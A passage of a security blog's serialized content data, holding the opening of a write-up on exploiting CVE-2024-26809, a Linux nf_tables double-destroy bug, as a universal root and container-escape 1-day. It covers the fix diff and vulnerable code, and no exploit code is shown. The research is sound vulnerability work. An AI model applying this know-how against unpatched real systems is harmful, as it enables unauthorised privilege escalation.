",{"type":23,"tag":36,"props":50533,"children":50536},{"href":50534,"rel":50535},"https://osec.io/blog/2023-11-01-metamask-snaps",[40],[50537],{"type":28,"value":50538},"in our last article",{"type":28,"value":6550},{"type":23,"tag":36,"props":50541,"children":50543},{"href":30449,"ariaLabel":18587,"className":50542,"dataFootnoteBackref":7},[18589],[50544],{"type":28,"value":18592},{"type":23,"tag":2957,"props":50546,"children":50547},{},[50548],{"type":28,"value":2961},{"title":7,"searchDepth":226,"depth":226,"links":50550},[50551,50555,50561,50567,50568,50569],{"id":19009,"depth":226,"text":19012,"children":50552},[50553,50554],{"id":29072,"depth":524,"text":29075},{"id":47172,"depth":524,"text":47175},{"id":47928,"depth":226,"text":47931,"children":50556},[50557,50558,50559,50560],{"id":48179,"depth":524,"text":48182},{"id":48654,"depth":524,"text":48657},{"id":49311,"depth":524,"text":49314},{"id":49434,"depth":524,"text":49437},{"id":49552,"depth":226,"text":49555,"children":50562},[50563,50564,50565,50566],{"id":49680,"depth":524,"text":49683},{"id":50042,"depth":524,"text":50045},{"id":50202,"depth":524,"text":50205},{"id":50437,"depth":524,"text":50440},{"id":50466,"depth":226,"text":50469},{"id":28989,"depth":226,"text":19000},{"id":15540,"depth":226,"text":18484},"content:blog:2024-06-10-supply-chain-attacks-a-new-era.md","blog/2024-06-10-supply-chain-attacks-a-new-era.md","blog/2024-06-10-supply-chain-attacks-a-new-era",{"_path":50574,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":50575,"description":50576,"author":50577,"image":50578,"date":50580,"isFeatured":18,"tags":50581,"onBlogPage":18,"body":50584,"_type":2967,"_id":60964,"_source":2969,"_file":60965,"_stem":60966,"_extension":2972},"/blog/2024-11-25-netfilter-universal-root-1-day","OtterRoot: Netfilter Universal Root 1-day","A peek into the state of Linux kernel security and the open-source patch-gap. We explore how we monitored commits to find new bug fixes and achieved 0day-like capabilities by exploiting a 1-day vulnerability.","pedro",{"src":50579,"height":9352,"width":5817},"/posts/netfilter-universal-root-1-day/cover.png","2024-11-25",[50582,50583],"kernal","linux",{"type":20,"children":50585,"toc":60932},[50586,50599,50613,50618,50624,50634,50639,50645,50650,50668,50682,50691,50724,50729,50735,50754,50787,50793,50806,51016,51083,51647,51666,51891,51950,51956,51976,52016,52204,52209,52360,52416,52421,52935,52954,53223,53249,53758,53825,53831,53867,53872,54138,54171,54183,54210,54222,54227,54233,54254,54260,54281,54304,55136,55142,55182,55721,55732,55766,55833,55887,56119,56125,56169,56633,56639,56650,56680,56763,56768,56773,56809,56861,56892,57447,57453,57470,57476,57481,57487,57515,57708,57728,57744,58339,58345,58380,58403,58415,58421,58449,59046,59071,60040,60051,60064,60077,60843,60857,60863,60875,60881,60909,60914,60918,60923,60928],{"type":23,"tag":24,"props":50587,"children":50588},{},[50589,50591,50598],{"type":28,"value":50590},"In late March, I attempted to monitor commits in Linux kernel subsystems that are hotspots for exploitable bugs, partially as an experiment to study how feasible it is to maintain LPE/container escape capabilities by patch-gapping/cycling 1-days, but also to submit to the ",{"type":23,"tag":36,"props":50592,"children":50595},{"href":50593,"rel":50594},"https://google.github.io/security-research/kernelctf/rules.html",[40],[50596],{"type":28,"value":50597},"KernelCTF VRP",{"type":28,"value":124},{"type":23,"tag":24,"props":50600,"children":50601},{},[50602,50604,50611],{"type":28,"value":50603},"During the research, I quickly came across an exploitable bug fixed in netfilter, which was labeled CVE-2024-26809 (originally discovered by ",{"type":23,"tag":36,"props":50605,"children":50608},{"href":50606,"rel":50607},"https://github.com/conlonialC",[40],[50609],{"type":28,"value":50610},"lonial con",{"type":28,"value":50612},") and was able to exploit it in the KernelCTF LTS instance and write a universal exploit that runs across different kernel builds without the need to recompile with different symbols or ROP gadgets.",{"type":23,"tag":24,"props":50614,"children":50615},{},[50616],{"type":28,"value":50617},"In this post, I'll discuss how I exploited a 1day to obtain 0day-like LPE/container escape capabilities for around two months by quickly abusing the patch-gap to write an exploit before the fix could go downstream. I'll also share my journey analyzing the patch to understand the bug, isolate the commit(s) that introduced it, exploit it in the KernelCTF VRP, and, finally, how I developed a universal exploit to target mainstream distros.",{"type":23,"tag":47,"props":50619,"children":50621},{"id":50620},"the-kernel",[50622],{"type":28,"value":50623},"The kernel",{"type":23,"tag":24,"props":50625,"children":50626},{},[50627,50629],{"type":28,"value":50628},"The kernel lies at the very core of an OS; its purpose is not to be a regular application but to create a platform that applications can run on top of. The kernel touches hardware directly to implement everything you can expect from your OS, such as user isolation and permissions, networking, filesystem access, memory management, task scheduling, etc.\n⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀",{"type":23,"tag":4009,"props":50630,"children":50633},{"alt":50631,"src":50632},"image","/posts/netfilter-universal-root-1-day/kernal.png",[],{"type":23,"tag":24,"props":50635,"children":50636},{},[50637],{"type":28,"value":50638},"The kernel exposes an interface that user applications can use to request things they can't do directly (e.g. map some memory to my process' virtual address space, expose some file to my process, open a network socket, etc.). This is called the syscall interface, the main form of passing data from userspace to kernelspace.",{"type":23,"tag":9693,"props":50640,"children":50642},{"id":50641},"kernel-exploitation",[50643],{"type":28,"value":50644},"Kernel exploitation",{"type":23,"tag":24,"props":50646,"children":50647},{},[50648],{"type":28,"value":50649},"As the kernel processes requests passed by user applications, it is subject to bugs and security vulnerabilities just as any code would, ranging from logic issues to memory corruptions that attackers can use to hijack the execution in kernel context or escalate privileges in some other way. With that in mind, we can expect the typical kernel exploit to look like this:",{"type":23,"tag":168,"props":50651,"children":50652},{},[50653,50658,50663],{"type":23,"tag":135,"props":50654,"children":50655},{},[50656],{"type":28,"value":50657},"Trigger some memory corruption in some kernel subsystem",{"type":23,"tag":135,"props":50659,"children":50660},{},[50661],{"type":28,"value":50662},"Use it to acquire some stronger primitive (Control-flow, Arb R/W, etc.)",{"type":23,"tag":135,"props":50664,"children":50665},{},[50666],{"type":28,"value":50667},"Use your current primitive to escalate your privileges (usually by changing the creds of your process or something with similar consequences)",{"type":23,"tag":24,"props":50669,"children":50670},{},[50671,50673,50680],{"type":28,"value":50672},"I strongly recommend reading Lkmidas' Intro to Kernel Exploitation ",{"type":23,"tag":36,"props":50674,"children":50677},{"href":50675,"rel":50676},"https://lkmidas.github.io/posts/20210123-linux-kernel-pwn-part-1/",[40],[50678],{"type":28,"value":50679},"blog post",{"type":28,"value":50681}," to become more familiar with the topic.",{"type":23,"tag":47,"props":50683,"children":50685},{"id":50684},"nf_tables",[50686],{"type":23,"tag":209,"props":50687,"children":50689},{"className":50688},[],[50690],{"type":28,"value":50684},{"type":23,"tag":24,"props":50692,"children":50693},{},[50694,50699,50701,50707,50708,50714,50716,50722],{"type":23,"tag":209,"props":50695,"children":50697},{"className":50696},[],[50698],{"type":28,"value":50684},{"type":28,"value":50700}," is a component of the netfilter subsystem of the Linux kernel. It is a package filtering mechanism, and it's the current backend used by tools like iptables and Firewalld. Its internals have been thoroughly discussed by other researchers ",{"type":23,"tag":36,"props":50702,"children":50705},{"href":50703,"rel":50704},"https://pwning.tech/nftables",[40],[50706],{"type":28,"value":4106},{"type":28,"value":424},{"type":23,"tag":36,"props":50709,"children":50712},{"href":50710,"rel":50711},"https://starlabs.sg/blog/2023/09-nftables-adventures-bug-hunting-and-n-day-exploitation",[40],[50713],{"type":28,"value":3221},{"type":28,"value":50715},". I recommend reading those briefly to understand the hierarchical structure of ",{"type":23,"tag":209,"props":50717,"children":50719},{"className":50718},[],[50720],{"type":28,"value":50721},"nf_table",{"type":28,"value":50723}," objects and how we can manipulate them to create configurable filtering mechanisms.",{"type":23,"tag":24,"props":50725,"children":50726},{},[50727],{"type":28,"value":50728},"For the sake of this blog post I'll omit any details that are not directly related to the vulnerability.",{"type":23,"tag":9693,"props":50730,"children":50732},{"id":50731},"transactions",[50733],{"type":28,"value":50734},"Transactions",{"type":23,"tag":24,"props":50736,"children":50737},{},[50738,50740,50745,50747,50752],{"type":28,"value":50739},"A transaction is an interaction that updates ",{"type":23,"tag":209,"props":50741,"children":50743},{"className":50742},[],[50744],{"type":28,"value":50684},{"type":28,"value":50746}," objects/state. It's roughly composed of a batch of operations that modify some ",{"type":23,"tag":209,"props":50748,"children":50750},{"className":50749},[],[50751],{"type":28,"value":50684},{"type":28,"value":50753}," object (adding/removing/editing tables, sets, elements, objects, etc). They are roughly composed of 3 different passes:",{"type":23,"tag":168,"props":50755,"children":50756},{},[50757,50767,50777],{"type":23,"tag":135,"props":50758,"children":50759},{},[50760,50765],{"type":23,"tag":95,"props":50761,"children":50762},{},[50763],{"type":28,"value":50764},"Control plane",{"type":28,"value":50766},"\nPrepare each operation, and if some fail, abort the whole batch; otherwise, commit the entire batch.",{"type":23,"tag":135,"props":50768,"children":50769},{},[50770,50775],{"type":23,"tag":95,"props":50771,"children":50772},{},[50773],{"type":28,"value":50774},"Commit path",{"type":28,"value":50776},"\nAfter the control plane, if all succeed, we apply the changes (effectively modify tables, sets, etc.).",{"type":23,"tag":135,"props":50778,"children":50779},{},[50780,50785],{"type":23,"tag":95,"props":50781,"children":50782},{},[50783],{"type":28,"value":50784},"Abort path",{"type":28,"value":50786},"\nOnly triggered when some error condition is detected in the control plane; undo actions done during the control plane and skip commitment.",{"type":23,"tag":47,"props":50788,"children":50790},{"id":50789},"vulnerability-details",[50791],{"type":28,"value":50792},"Vulnerability details",{"type":23,"tag":24,"props":50794,"children":50795},{},[50796,50798,50804],{"type":28,"value":50797},"Moving on, let's check out the ",{"type":23,"tag":36,"props":50799,"children":50802},{"href":50800,"rel":50801},"https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=b0e256f3dd2ba6532f37c5c22e07cb07a36031ee",[40],[50803],{"type":28,"value":4321},{"type":28,"value":50805}," that fixed the bug.",{"type":23,"tag":202,"props":50807,"children":50809},{"className":40418,"code":50808,"language":40420,"meta":7,"style":7},"diff --git a/net/netfilter/nft_set_pipapo.c b/net/netfilter/nft_set_pipapo.c\nindex c0ceea068936a6..df8de509024637 100644\n--- a/net/netfilter/nft_set_pipapo.c\n+++ b/net/netfilter/nft_set_pipapo.c\n@@ -2329,8 +2329,6 @@ static void nft_pipapo_destroy(const struct nft_ctx *ctx,\n\n m = rcu_dereference_protected(priv->match, true);\n\n if (m) {\n rcu_barrier();\n \n- nft_set_pipapo_match_destroy(ctx, set, m);\n-\n for_each_possible_cpu(cpu)\n pipapo_free_scratch(m, cpu);\n free_percpu(m->scratch);\n@@ -2342,8 +2340,7 @@ static void nft_pipapo_destroy(const struct nft_ctx *ctx,\n if (priv->clone) {\n m = priv->clone;\n \n- if (priv->dirty)\n- nft_set_pipapo_match_destroy(ctx, set, m);\n+ nft_set_pipapo_match_destroy(ctx, set, m);\n \n for_each_possible_cpu(cpu)\n pipapo_free_scratch(priv->clone, cpu);\n",[50810],{"type":23,"tag":209,"props":50811,"children":50812},{"__ignoreMap":7},[50813,50821,50829,50837,50845,50853,50860,50868,50875,50883,50891,50899,50907,50915,50923,50931,50939,50947,50955,50963,50970,50978,50986,50994,51001,51008],{"type":23,"tag":213,"props":50814,"children":50815},{"class":215,"line":216},[50816],{"type":23,"tag":213,"props":50817,"children":50818},{"style":230},[50819],{"type":28,"value":50820},"diff --git a/net/netfilter/nft_set_pipapo.c b/net/netfilter/nft_set_pipapo.c\n",{"type":23,"tag":213,"props":50822,"children":50823},{"class":215,"line":226},[50824],{"type":23,"tag":213,"props":50825,"children":50826},{"style":220},[50827],{"type":28,"value":50828},"index c0ceea068936a6..df8de509024637 100644\n",{"type":23,"tag":213,"props":50830,"children":50831},{"class":215,"line":524},[50832],{"type":23,"tag":213,"props":50833,"children":50834},{"style":230},[50835],{"type":28,"value":50836},"--- a/net/netfilter/nft_set_pipapo.c\n",{"type":23,"tag":213,"props":50838,"children":50839},{"class":215,"line":533},[50840],{"type":23,"tag":213,"props":50841,"children":50842},{"style":230},[50843],{"type":28,"value":50844},"+++ b/net/netfilter/nft_set_pipapo.c\n",{"type":23,"tag":213,"props":50846,"children":50847},{"class":215,"line":543},[50848],{"type":23,"tag":213,"props":50849,"children":50850},{"style":220},[50851],{"type":28,"value":50852},"@@ -2329,8 +2329,6 @@ static void nft_pipapo_destroy(const struct nft_ctx *ctx,\n",{"type":23,"tag":213,"props":50854,"children":50855},{"class":215,"line":551},[50856],{"type":23,"tag":213,"props":50857,"children":50858},{"emptyLinePlaceholder":18},[50859],{"type":28,"value":530},{"type":23,"tag":213,"props":50861,"children":50862},{"class":215,"line":570},[50863],{"type":23,"tag":213,"props":50864,"children":50865},{"style":220},[50866],{"type":28,"value":50867}," m = rcu_dereference_protected(priv->match, true);\n",{"type":23,"tag":213,"props":50869,"children":50870},{"class":215,"line":655},[50871],{"type":23,"tag":213,"props":50872,"children":50873},{"emptyLinePlaceholder":18},[50874],{"type":28,"value":530},{"type":23,"tag":213,"props":50876,"children":50877},{"class":215,"line":1176},[50878],{"type":23,"tag":213,"props":50879,"children":50880},{"style":220},[50881],{"type":28,"value":50882}," if (m) {\n",{"type":23,"tag":213,"props":50884,"children":50885},{"class":215,"line":1202},[50886],{"type":23,"tag":213,"props":50887,"children":50888},{"style":220},[50889],{"type":28,"value":50890}," rcu_barrier();\n",{"type":23,"tag":213,"props":50892,"children":50893},{"class":215,"line":1758},[50894],{"type":23,"tag":213,"props":50895,"children":50896},{"style":220},[50897],{"type":28,"value":50898}," \n",{"type":23,"tag":213,"props":50900,"children":50901},{"class":215,"line":1767},[50902],{"type":23,"tag":213,"props":50903,"children":50904},{"style":246},[50905],{"type":28,"value":50906},"- nft_set_pipapo_match_destroy(ctx, set, m);\n",{"type":23,"tag":213,"props":50908,"children":50909},{"class":215,"line":1789},[50910],{"type":23,"tag":213,"props":50911,"children":50912},{"style":246},[50913],{"type":28,"value":50914},"-\n",{"type":23,"tag":213,"props":50916,"children":50917},{"class":215,"line":1812},[50918],{"type":23,"tag":213,"props":50919,"children":50920},{"style":220},[50921],{"type":28,"value":50922}," for_each_possible_cpu(cpu)\n",{"type":23,"tag":213,"props":50924,"children":50925},{"class":215,"line":1838},[50926],{"type":23,"tag":213,"props":50927,"children":50928},{"style":220},[50929],{"type":28,"value":50930}," pipapo_free_scratch(m, cpu);\n",{"type":23,"tag":213,"props":50932,"children":50933},{"class":215,"line":1851},[50934],{"type":23,"tag":213,"props":50935,"children":50936},{"style":220},[50937],{"type":28,"value":50938}," free_percpu(m->scratch);\n",{"type":23,"tag":213,"props":50940,"children":50941},{"class":215,"line":1864},[50942],{"type":23,"tag":213,"props":50943,"children":50944},{"style":220},[50945],{"type":28,"value":50946},"@@ -2342,8 +2340,7 @@ static void nft_pipapo_destroy(const struct nft_ctx *ctx,\n",{"type":23,"tag":213,"props":50948,"children":50949},{"class":215,"line":1890},[50950],{"type":23,"tag":213,"props":50951,"children":50952},{"style":220},[50953],{"type":28,"value":50954}," if (priv->clone) {\n",{"type":23,"tag":213,"props":50956,"children":50957},{"class":215,"line":1899},[50958],{"type":23,"tag":213,"props":50959,"children":50960},{"style":220},[50961],{"type":28,"value":50962}," m = priv->clone;\n",{"type":23,"tag":213,"props":50964,"children":50965},{"class":215,"line":1912},[50966],{"type":23,"tag":213,"props":50967,"children":50968},{"style":220},[50969],{"type":28,"value":50898},{"type":23,"tag":213,"props":50971,"children":50972},{"class":215,"line":1921},[50973],{"type":23,"tag":213,"props":50974,"children":50975},{"style":246},[50976],{"type":28,"value":50977},"- if (priv->dirty)\n",{"type":23,"tag":213,"props":50979,"children":50980},{"class":215,"line":3879},[50981],{"type":23,"tag":213,"props":50982,"children":50983},{"style":246},[50984],{"type":28,"value":50985},"- nft_set_pipapo_match_destroy(ctx, set, m);\n",{"type":23,"tag":213,"props":50987,"children":50988},{"class":215,"line":3887},[50989],{"type":23,"tag":213,"props":50990,"children":50991},{"style":514},[50992],{"type":28,"value":50993},"+ nft_set_pipapo_match_destroy(ctx, set, m);\n",{"type":23,"tag":213,"props":50995,"children":50996},{"class":215,"line":3918},[50997],{"type":23,"tag":213,"props":50998,"children":50999},{"style":220},[51000],{"type":28,"value":50898},{"type":23,"tag":213,"props":51002,"children":51003},{"class":215,"line":3926},[51004],{"type":23,"tag":213,"props":51005,"children":51006},{"style":220},[51007],{"type":28,"value":50922},{"type":23,"tag":213,"props":51009,"children":51010},{"class":215,"line":3986},[51011],{"type":23,"tag":213,"props":51012,"children":51013},{"style":220},[51014],{"type":28,"value":51015}," pipapo_free_scratch(priv->clone, cpu);\n",{"type":23,"tag":24,"props":51017,"children":51018},{},[51019,51021,51027,51028,51034,51036,51042,51044,51050,51052,51057,51059,51065,51067,51073,51075,51081],{"type":28,"value":51020},"If the ",{"type":23,"tag":209,"props":51022,"children":51024},{"className":51023},[],[51025],{"type":28,"value":51026},"priv->dirty",{"type":28,"value":1466},{"type":23,"tag":209,"props":51029,"children":51031},{"className":51030},[],[51032],{"type":28,"value":51033},"priv->clone",{"type":28,"value":51035}," variables are set, ",{"type":23,"tag":209,"props":51037,"children":51039},{"className":51038},[],[51040],{"type":28,"value":51041},"nft_set_pipapo_match_destroy()",{"type":28,"value":51043}," is called twice, once with ",{"type":23,"tag":209,"props":51045,"children":51047},{"className":51046},[],[51048],{"type":28,"value":51049},"priv->match",{"type":28,"value":51051}," as an argument, and then again with ",{"type":23,"tag":209,"props":51053,"children":51055},{"className":51054},[],[51056],{"type":28,"value":51033},{"type":28,"value":51058},". Looking at what this function does, we can see that it is iterating over the ",{"type":23,"tag":209,"props":51060,"children":51062},{"className":51061},[],[51063],{"type":28,"value":51064},"setelem",{"type":28,"value":51066},"s of the ",{"type":23,"tag":209,"props":51068,"children":51070},{"className":51069},[],[51071],{"type":28,"value":51072},"set",{"type":28,"value":51074}," and calling ",{"type":23,"tag":209,"props":51076,"children":51078},{"className":51077},[],[51079],{"type":28,"value":51080},"nf_tables_set_elem_destroy()",{"type":28,"value":51082}," for each of them.",{"type":23,"tag":202,"props":51084,"children":51086},{"className":16566,"code":51085,"language":3244,"meta":7,"style":7},"static void nft_set_pipapo_match_destroy(const struct nft_ctx *ctx,\n const struct nft_set *set,\n struct nft_pipapo_match *m)\n{\n struct nft_pipapo_field *f;\n int i, r;\n\n for (i = 0, f = m->f; i \u003C m->field_count - 1; i++, f++)\n ;\n\n for (r = 0; r \u003C f->rules; r++) {\n struct nft_pipapo_elem *e;\n\n if (r \u003C f->rules - 1 && f->mt[r + 1].e == f->mt[r].e)\n continue;\n\n e = f->mt[r].e;\n\n nf_tables_set_elem_destroy(ctx, set, &e->priv);\n }\n}\n",[51087],{"type":23,"tag":209,"props":51088,"children":51089},{"__ignoreMap":7},[51090,51137,51165,51191,51198,51219,51232,51239,51336,51344,51351,51406,51427,51434,51537,51549,51556,51592,51599,51633,51640],{"type":23,"tag":213,"props":51091,"children":51092},{"class":215,"line":216},[51093,51098,51103,51108,51112,51116,51120,51125,51129,51133],{"type":23,"tag":213,"props":51094,"children":51095},{"style":230},[51096],{"type":28,"value":51097},"static",{"type":23,"tag":213,"props":51099,"children":51100},{"style":230},[51101],{"type":28,"value":51102}," void",{"type":23,"tag":213,"props":51104,"children":51105},{"style":257},[51106],{"type":28,"value":51107}," nft_set_pipapo_match_destroy",{"type":23,"tag":213,"props":51109,"children":51110},{"style":220},[51111],{"type":28,"value":265},{"type":23,"tag":213,"props":51113,"children":51114},{"style":230},[51115],{"type":28,"value":632},{"type":23,"tag":213,"props":51117,"children":51118},{"style":230},[51119],{"type":28,"value":887},{"type":23,"tag":213,"props":51121,"children":51122},{"style":220},[51123],{"type":28,"value":51124}," nft_ctx ",{"type":23,"tag":213,"props":51126,"children":51127},{"style":274},[51128],{"type":28,"value":1696},{"type":23,"tag":213,"props":51130,"children":51131},{"style":268},[51132],{"type":28,"value":20335},{"type":23,"tag":213,"props":51134,"children":51135},{"style":220},[51136],{"type":28,"value":944},{"type":23,"tag":213,"props":51138,"children":51139},{"class":215,"line":226},[51140,51144,51148,51153,51157,51161],{"type":23,"tag":213,"props":51141,"children":51142},{"style":230},[51143],{"type":28,"value":31603},{"type":23,"tag":213,"props":51145,"children":51146},{"style":230},[51147],{"type":28,"value":887},{"type":23,"tag":213,"props":51149,"children":51150},{"style":220},[51151],{"type":28,"value":51152}," nft_set ",{"type":23,"tag":213,"props":51154,"children":51155},{"style":274},[51156],{"type":28,"value":1696},{"type":23,"tag":213,"props":51158,"children":51159},{"style":268},[51160],{"type":28,"value":51072},{"type":23,"tag":213,"props":51162,"children":51163},{"style":220},[51164],{"type":28,"value":944},{"type":23,"tag":213,"props":51166,"children":51167},{"class":215,"line":524},[51168,51173,51178,51182,51187],{"type":23,"tag":213,"props":51169,"children":51170},{"style":230},[51171],{"type":28,"value":51172}," struct",{"type":23,"tag":213,"props":51174,"children":51175},{"style":220},[51176],{"type":28,"value":51177}," nft_pipapo_match ",{"type":23,"tag":213,"props":51179,"children":51180},{"style":274},[51181],{"type":28,"value":1696},{"type":23,"tag":213,"props":51183,"children":51184},{"style":268},[51185],{"type":28,"value":51186},"m",{"type":23,"tag":213,"props":51188,"children":51189},{"style":220},[51190],{"type":28,"value":2183},{"type":23,"tag":213,"props":51192,"children":51193},{"class":215,"line":533},[51194],{"type":23,"tag":213,"props":51195,"children":51196},{"style":220},[51197],{"type":28,"value":10964},{"type":23,"tag":213,"props":51199,"children":51200},{"class":215,"line":543},[51201,51205,51210,51214],{"type":23,"tag":213,"props":51202,"children":51203},{"style":230},[51204],{"type":28,"value":887},{"type":23,"tag":213,"props":51206,"children":51207},{"style":220},[51208],{"type":28,"value":51209}," nft_pipapo_field ",{"type":23,"tag":213,"props":51211,"children":51212},{"style":274},[51213],{"type":28,"value":1696},{"type":23,"tag":213,"props":51215,"children":51216},{"style":220},[51217],{"type":28,"value":51218},"f;\n",{"type":23,"tag":213,"props":51220,"children":51221},{"class":215,"line":551},[51222,51227],{"type":23,"tag":213,"props":51223,"children":51224},{"style":230},[51225],{"type":28,"value":51226}," int",{"type":23,"tag":213,"props":51228,"children":51229},{"style":220},[51230],{"type":28,"value":51231}," i, r;\n",{"type":23,"tag":213,"props":51233,"children":51234},{"class":215,"line":570},[51235],{"type":23,"tag":213,"props":51236,"children":51237},{"emptyLinePlaceholder":18},[51238],{"type":28,"value":530},{"type":23,"tag":213,"props":51240,"children":51241},{"class":215,"line":655},[51242,51247,51252,51256,51260,51265,51269,51274,51278,51282,51287,51291,51295,51299,51304,51309,51313,51318,51323,51328,51332],{"type":23,"tag":213,"props":51243,"children":51244},{"style":1362},[51245],{"type":28,"value":51246}," for",{"type":23,"tag":213,"props":51248,"children":51249},{"style":220},[51250],{"type":28,"value":51251}," (i ",{"type":23,"tag":213,"props":51253,"children":51254},{"style":274},[51255],{"type":28,"value":3190},{"type":23,"tag":213,"props":51257,"children":51258},{"style":514},[51259],{"type":28,"value":517},{"type":23,"tag":213,"props":51261,"children":51262},{"style":220},[51263],{"type":28,"value":51264},", f ",{"type":23,"tag":213,"props":51266,"children":51267},{"style":274},[51268],{"type":28,"value":3190},{"type":23,"tag":213,"props":51270,"children":51271},{"style":268},[51272],{"type":28,"value":51273}," m",{"type":23,"tag":213,"props":51275,"children":51276},{"style":220},[51277],{"type":28,"value":303},{"type":23,"tag":213,"props":51279,"children":51280},{"style":268},[51281],{"type":28,"value":33141},{"type":23,"tag":213,"props":51283,"children":51284},{"style":220},[51285],{"type":28,"value":51286},"; i ",{"type":23,"tag":213,"props":51288,"children":51289},{"style":274},[51290],{"type":28,"value":434},{"type":23,"tag":213,"props":51292,"children":51293},{"style":268},[51294],{"type":28,"value":51273},{"type":23,"tag":213,"props":51296,"children":51297},{"style":220},[51298],{"type":28,"value":303},{"type":23,"tag":213,"props":51300,"children":51301},{"style":268},[51302],{"type":28,"value":51303},"field_count",{"type":23,"tag":213,"props":51305,"children":51306},{"style":274},[51307],{"type":28,"value":51308}," -",{"type":23,"tag":213,"props":51310,"children":51311},{"style":514},[51312],{"type":28,"value":4618},{"type":23,"tag":213,"props":51314,"children":51315},{"style":220},[51316],{"type":28,"value":51317},"; i",{"type":23,"tag":213,"props":51319,"children":51320},{"style":274},[51321],{"type":28,"value":51322},"++",{"type":23,"tag":213,"props":51324,"children":51325},{"style":220},[51326],{"type":28,"value":51327},", f",{"type":23,"tag":213,"props":51329,"children":51330},{"style":274},[51331],{"type":28,"value":51322},{"type":23,"tag":213,"props":51333,"children":51334},{"style":220},[51335],{"type":28,"value":2183},{"type":23,"tag":213,"props":51337,"children":51338},{"class":215,"line":1176},[51339],{"type":23,"tag":213,"props":51340,"children":51341},{"style":220},[51342],{"type":28,"value":51343}," ;\n",{"type":23,"tag":213,"props":51345,"children":51346},{"class":215,"line":1202},[51347],{"type":23,"tag":213,"props":51348,"children":51349},{"emptyLinePlaceholder":18},[51350],{"type":28,"value":530},{"type":23,"tag":213,"props":51352,"children":51353},{"class":215,"line":1758},[51354,51358,51363,51367,51371,51376,51380,51384,51388,51393,51398,51402],{"type":23,"tag":213,"props":51355,"children":51356},{"style":1362},[51357],{"type":28,"value":51246},{"type":23,"tag":213,"props":51359,"children":51360},{"style":220},[51361],{"type":28,"value":51362}," (r ",{"type":23,"tag":213,"props":51364,"children":51365},{"style":274},[51366],{"type":28,"value":3190},{"type":23,"tag":213,"props":51368,"children":51369},{"style":514},[51370],{"type":28,"value":517},{"type":23,"tag":213,"props":51372,"children":51373},{"style":220},[51374],{"type":28,"value":51375},"; r ",{"type":23,"tag":213,"props":51377,"children":51378},{"style":274},[51379],{"type":28,"value":434},{"type":23,"tag":213,"props":51381,"children":51382},{"style":268},[51383],{"type":28,"value":33027},{"type":23,"tag":213,"props":51385,"children":51386},{"style":220},[51387],{"type":28,"value":303},{"type":23,"tag":213,"props":51389,"children":51390},{"style":268},[51391],{"type":28,"value":51392},"rules",{"type":23,"tag":213,"props":51394,"children":51395},{"style":220},[51396],{"type":28,"value":51397},"; r",{"type":23,"tag":213,"props":51399,"children":51400},{"style":274},[51401],{"type":28,"value":51322},{"type":23,"tag":213,"props":51403,"children":51404},{"style":220},[51405],{"type":28,"value":14870},{"type":23,"tag":213,"props":51407,"children":51408},{"class":215,"line":1767},[51409,51413,51418,51422],{"type":23,"tag":213,"props":51410,"children":51411},{"style":230},[51412],{"type":28,"value":5890},{"type":23,"tag":213,"props":51414,"children":51415},{"style":220},[51416],{"type":28,"value":51417}," nft_pipapo_elem ",{"type":23,"tag":213,"props":51419,"children":51420},{"style":274},[51421],{"type":28,"value":1696},{"type":23,"tag":213,"props":51423,"children":51424},{"style":220},[51425],{"type":28,"value":51426},"e;\n",{"type":23,"tag":213,"props":51428,"children":51429},{"class":215,"line":1789},[51430],{"type":23,"tag":213,"props":51431,"children":51432},{"emptyLinePlaceholder":18},[51433],{"type":28,"value":530},{"type":23,"tag":213,"props":51435,"children":51436},{"class":215,"line":1812},[51437,51441,51445,51449,51453,51457,51461,51465,51469,51473,51477,51481,51486,51491,51495,51499,51503,51508,51512,51516,51520,51524,51529,51533],{"type":23,"tag":213,"props":51438,"children":51439},{"style":1362},[51440],{"type":28,"value":31450},{"type":23,"tag":213,"props":51442,"children":51443},{"style":220},[51444],{"type":28,"value":51362},{"type":23,"tag":213,"props":51446,"children":51447},{"style":274},[51448],{"type":28,"value":434},{"type":23,"tag":213,"props":51450,"children":51451},{"style":268},[51452],{"type":28,"value":33027},{"type":23,"tag":213,"props":51454,"children":51455},{"style":220},[51456],{"type":28,"value":303},{"type":23,"tag":213,"props":51458,"children":51459},{"style":268},[51460],{"type":28,"value":51392},{"type":23,"tag":213,"props":51462,"children":51463},{"style":274},[51464],{"type":28,"value":51308},{"type":23,"tag":213,"props":51466,"children":51467},{"style":514},[51468],{"type":28,"value":4618},{"type":23,"tag":213,"props":51470,"children":51471},{"style":274},[51472],{"type":28,"value":14259},{"type":23,"tag":213,"props":51474,"children":51475},{"style":268},[51476],{"type":28,"value":33027},{"type":23,"tag":213,"props":51478,"children":51479},{"style":220},[51480],{"type":28,"value":303},{"type":23,"tag":213,"props":51482,"children":51483},{"style":268},[51484],{"type":28,"value":51485},"mt",{"type":23,"tag":213,"props":51487,"children":51488},{"style":220},[51489],{"type":28,"value":51490},"[r ",{"type":23,"tag":213,"props":51492,"children":51493},{"style":274},[51494],{"type":28,"value":2703},{"type":23,"tag":213,"props":51496,"children":51497},{"style":514},[51498],{"type":28,"value":4618},{"type":23,"tag":213,"props":51500,"children":51501},{"style":220},[51502],{"type":28,"value":50401},{"type":23,"tag":213,"props":51504,"children":51505},{"style":268},[51506],{"type":28,"value":51507},"e",{"type":23,"tag":213,"props":51509,"children":51510},{"style":274},[51511],{"type":28,"value":3379},{"type":23,"tag":213,"props":51513,"children":51514},{"style":268},[51515],{"type":28,"value":33027},{"type":23,"tag":213,"props":51517,"children":51518},{"style":220},[51519],{"type":28,"value":303},{"type":23,"tag":213,"props":51521,"children":51522},{"style":268},[51523],{"type":28,"value":51485},{"type":23,"tag":213,"props":51525,"children":51526},{"style":220},[51527],{"type":28,"value":51528},"[r].",{"type":23,"tag":213,"props":51530,"children":51531},{"style":268},[51532],{"type":28,"value":51507},{"type":23,"tag":213,"props":51534,"children":51535},{"style":220},[51536],{"type":28,"value":2183},{"type":23,"tag":213,"props":51538,"children":51539},{"class":215,"line":1838},[51540,51545],{"type":23,"tag":213,"props":51541,"children":51542},{"style":1362},[51543],{"type":28,"value":51544}," 